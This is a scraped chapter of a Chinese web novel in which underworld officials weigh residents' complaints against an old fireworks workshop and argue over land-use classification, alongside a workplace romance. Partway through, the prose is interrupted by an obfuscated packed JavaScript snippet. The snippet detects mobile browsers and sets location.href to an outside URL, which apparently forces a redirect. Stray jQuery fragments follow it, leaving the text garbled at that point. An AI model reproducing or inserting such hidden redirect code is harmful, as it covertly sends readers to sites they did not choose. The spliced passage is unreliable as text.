74.谁更有理

作品:《在地府考公上岸后

    “总之,我这边查到的情况就是这样,之后我去了商务部、市监部、道路运输部这些地方查证,贺元夕说的话基本属实,他确实是第一家住户,且修筑了银花街,多年来无生产事故,有合法经营许可。居民们明知此地有烟花工坊依然安家在此,之后又认为烟花工坊扰民,我认为这个理由不是很能站得住脚,想要关闭烟花工坊不合理。”


    祝平安把自己调查的情况说了一遍,温尔雅便紧跟着说了他今天调查的情况:“我在户政处把报纸上的那十几个人认了出来,确实都是银花街的居民,我跟户政走访了他们,但他们的角度跟贺元夕有所不同。”


    “首先,这十几个带头的居民并不是当年决定在这里买房的人,而是原屋主的继承人。一百年世事变迁,决定落户在这里的人基本都投胎去了,但把房子留给了儿孙。也就是说现在这的住户,大多不是主动选择跟烟花工坊为邻,而是被动接受。”温尔雅第一句话,就把贺元夕的道理打灭了一半。


    “他们认为,即使烟花工坊是第一个住户,但这不意味着这条街是围着烟花工坊转的。时移世易,从前这里算是工厂区,可随着地府扩张,现在银花街居民更多,是不折不扣的居住区了,地府应该遵循后来出台的《安全生产法》,以多数群体为重,不能让他们与烟花工坊为邻。”


    唔,听着也有一番道理。祝平安苦恼地抓抓头发,从居民角度来说,他们的诉求也并非胡搅蛮缠。


    现在房价这么贵,同等地段的房子价格不是小数目,大约都要六七亿一套,没有家底的人根本买不起,银花街的居民哪有能力搬出去,让烟花工坊关掉对他们来说更有利。


    张松鹤把两人今天了解的情况都听完,对祝平安扬扬下巴:“你怎么看?”


    “我觉得都有道理。”祝平安犹豫半天,最终还是得不出什么结论,“这是城市扩张产生的矛盾,烟花工坊既然落户在此,附近就不应该作为民宅基地出售才对,当时是谁负责的土地出售?”


    “一百年前的事情了,你找这种后账有什么用?”张松鹤摇摇头,“那时候,地府哪有民宅、商业用地、工业用地的概念,更不会去搞城市规划,那都是近五十年才兴起的玩意。以前都是地卖出去了,地主想干什么都没人管,盖烟花工坊是合法的,盖民宅也是合法的。”


    “至于《安全生产法》,那是五六年前才出台的东西,拿这个来关闭烟花工坊,属于拿本朝的剑斩前朝的官了,就算是合法也不合情。且条文规定,造成重大安全事故才能关闭工坊,这么多年星雨工坊连个小事故都没有,顶多能劝导迁移,强制关闭是不可能的。”


    祝平安忍不住道:“那我明天再去一趟工坊,跟贺先生谈谈迁移的事情?”


    温尔雅沉吟道:“暂时不要这么着急吧。迁移是大事,怎么迁,往哪里迁?新地皮在哪里?迁移费用和期间停工造成的损失谁来赔付?就算谈迁移,我们也要把这种方案拟好,否则去了也是白去,人家不可能搭理我们的。”


    “说的不错。”张松鹤揉揉太阳穴,接着道:“如果要这么做的话,就要快。这一次,银花街的居民不是吓唬我们的。”


    他苦笑:“我今天去报社,你们猜接待我的是谁?”


    他指指报纸上那张照片的中心:“就是他。羊城晚报的柴编辑,他其实就是这篇报道的撰稿人,也是他发动的居民,共同提出关闭烟花工坊的议案。”


    他看着照片,照片里的柴编辑身量不高,细瘦白皙,戴着一副小眼镜,面带微笑,看起来是个软绵绵的角色,说出来的话却一句句都好像带着冰渣子:“张部长,当年《安全生产法》出台时,烟花厂就应该关闭,你们还让它开办到了现在,其实是你们官府的失职。我跟银花街的居民,已经忍的够久了。”


    “你不要以为我在吓唬你。”柴编辑转着手里的笔,“我就想安安静静的睡个好觉,您要是能让工坊主动歇业,那最好,强制关闭它?也没问题。”


    他拿出一摞信件:“您还不知道吧?那期报纸卖的很好,报社收到了很多读者来信,都是写来支持我们银花街居民会的,还有一些致力于保护居民福祉的团队表示愿意加入我们。”


    “现在,我们的朋友很多,有必要的话,我会采取一切手段……只要能让那家烟花厂关掉。”


    张松鹤把今天自己去报社的情况一说,祝平安也没词了,附近的居民想睡个好觉,有什么过分的吗?


    柴编辑不同于其他居民,他的手里有舆论作为武器,这一场仗是越发难打了。


    张松鹤沉重地叹口气,“先谈谈迁移的事情吧,你俩把情况写清楚,把土地部的人叫来合计一下,拟个方案。最近大家又要辛苦了,做好一个月都回不去家的准备吧。”


    啊,这样就不能夜袭温尔雅了~


    明明应该是很严肃认真的时候,祝平安脑海里却不期然冒出了这样一句话,在办公室的时候,上下级不得恋爱的铁律就必须得遵守,两个人很难养什么小火花了。


    这样想着,她不由得有点失望,兴许是看出了她的失望,她感觉到有人在桌子下面轻轻捉住了自己的手。


    她抬头,温尔雅一手握着笔,另一手垂在桌子下面,非常严肃认真。


    她心里一甜,轻轻捏了回去,随后又赶快把手抽回来,装作无事发生。


    张松鹤虽然不知道两人的小动作,但直觉就没什么好事情,手掌大力拍两下桌子:“都愣着干什么呢?快点去干活!”


    祝平安这才惊醒过来,一溜烟就蹿了出去,温尔雅笑吟吟的起身:“我这就去拟文件。”


    张松鹤挥手让他快走,自己起身在办公室里踱步,心头的烦闷躁郁挥之不去,他很想追上那两个人再吼两声,却觉得自己也是莫名其妙。


    他垂着头,内心苦涩,已动痴念还不够,现在又要加上一个嗔念吗?仙道渺渺,人道茫茫,今时之变,何日是因?何日又是果?


    温尔雅出了门,走出几步,却见祝平安在拐角处等着他,也不说话,只是两只眼睛亮晶晶的。见他走过来,她转身跟他并肩而行,是的,她等在这里,是为了跟他并肩同行一小段路。


    暖风吹过走廊,两个人都不说话,他们静静的走着,步伐一致,心中的田野里发出小小的花。


    一小段路转瞬即逝,祝平安允许自己在办公室门前停留五秒,这才换出工作时的职业笑容,推门而入。


    温尔雅也开始坐下拟方案,脑海里思绪翩飞,一会儿想平安,一会儿又想起他在鬼民登记簿库房看到的东西。


    那是一个幽深巨大的房间,入口在地下一层,门前常年有人看守,外加结界保护,任谁也不可能潜入其中。想要进去一次,需要赵处长的盖印批条,外加检验证件,每次进出一次都要签字,将进入时间、所为何事都写的清清楚楚,可谓防范的密不透风。


    进入后,只见库房巨大,楼梯向下延伸,几乎没有尽头。鬼民们的档案被封的严严实实,有生之年想必很难看得完,户政处的人教他怎么找到自己需要的文件,这才能高效地找出银花街居民们的资料。


    如此看来,想要找机会偷溜进去是不可能的,甚至少了户政处的配合,他连查找资料都难。


    温尔雅一边想着一边皱眉,暗着不行,那就只能明着来了,他必须得有一个光明正大的理由才能开库房,可惜,现在他暂时还找不到这种机会。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940347|191265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “很难写吗?”祝平安看他皱着眉毛,好奇的凑过来。


    “啊……也没有,只是觉得这件事不好描述而已。”温尔雅连忙找了个理由搪塞。不过这句话倒是说到大家心坎里去了,龙如烈跟着附和:“是呀是呀,这件事比桃源雅筑的案子棘手多了!”


    祝平安意识深以为然。她之前觉得桃源雅筑的案子难办,现在看来那根本就是新手村任务:有明确的反派,有清晰的对错,只要将反派打倒,拿到爆出来的金币,一切就迎刃而解。


    而这个案子就不一样了,公说公有理婆说婆有理,居民没错,烟花工坊也没错,那到底是谁错了呢?她是要帮着烟花厂还是居民?


    清汤大老爷也不是那么好当的,祝平安现在只能寄希望于土地部的智慧了。最好划分一块免费的地皮,再免费帮着盖个厂房啥的,最后再免费帮助星雨烟花工坊搬个家。


    当然啦,这件事想也不可能。


    一天后,土地部的人就来了,是资源整备处的齐处长,一听来龙去脉,他不说立刻站起来就走,也是跟他们打起了官腔:“这个嘛,无论如何,你们的意愿是好的,是为鬼民服务的,我很认可你们的想法,在我能力范围内,也愿意给予你们支持……”


    祝平安期待地看着他,他为难地一抿嘴,继续道:“但我们也应该考虑到,这件事落实起来是有一定难度的,我们不能这么草率就下结论,需要经过整个部门细致的讨论才能给出审慎的意见。还有,地皮归我们管,但厂房和迁移的事情不归我们管理,你看是不是先跟住房管理部和交通运输部知会一下?”


    祝平安被他绕晕了头,差点就要答应下来,还是温尔雅在桌子底下踢了她一脚,她才忍住没说话。


    温尔雅给齐处长斟上一杯茶,把话语接了过来:“齐处长,您别有什么压力,这么大的事情,我知道您一个人做不了主,今天请您来也没有别的意思,就是咨询一下迁移厂址的可行性,您可别跟我们兜圈子啊。”


    齐处长刚刚一番忽悠没成功,心下懊恼:“那你到底想问什么?”


    “这事情归根结底也是土地性质的问题,银花街到底是居民区还是工业区,这件事土地部有定论吗?据我所知,三十年之前贵部就划分了土地性质,对于星雨烟花工坊,贵部门到底是定成工业地块,还是居民地块呢?”温尔雅询问道:“您别嫌我问的冒昧,这烟花工坊是个火药桶,要是拖炸了,咱们谁都担待不起,您理解一下。”


    这话问在点上,齐处长肚里不由得大骂起来。


    他来之前也看了星雨烟花工坊的资料,偏偏那块地既没有被定成居民地块,也没被定成工业地块,而是被定成了一个非常暧昧的概念:“商用地”。


    一个老资历的同事告诉他,这都是前任处长给他留下的隐患。


    三十年前,星雨烟花工坊还延续着传统手工业的状态,前店后坊,既搞销售又搞生产,最近几年他们产能跟不上,才全部转为生产工坊。加之烟花工坊的老东家跟前任处长关系不错,一来二去就把土地性质定成了商用地。


    这下就尴尬了,若当时定成居民地块,工坊就是违章建筑,一拆完事;若定成工业地,居民就成了无理取闹,也算是有个说法。可偏偏是商用地……理论上可以跟居民区共存的商用地!


    温尔雅问出这件事,就是在隐晦地提醒他要直面问题。现在这个含混不清的场面,土地部也有一定的责任,真要出点什么事情,前任处长早就投胎去了,还不是要找他这个现任处长的麻烦?


    能一路混上来的人,都知道见风使舵,齐处长脸上立刻热情多了:“理解,理解,咱们现在就详细说说这土地性质的问题……”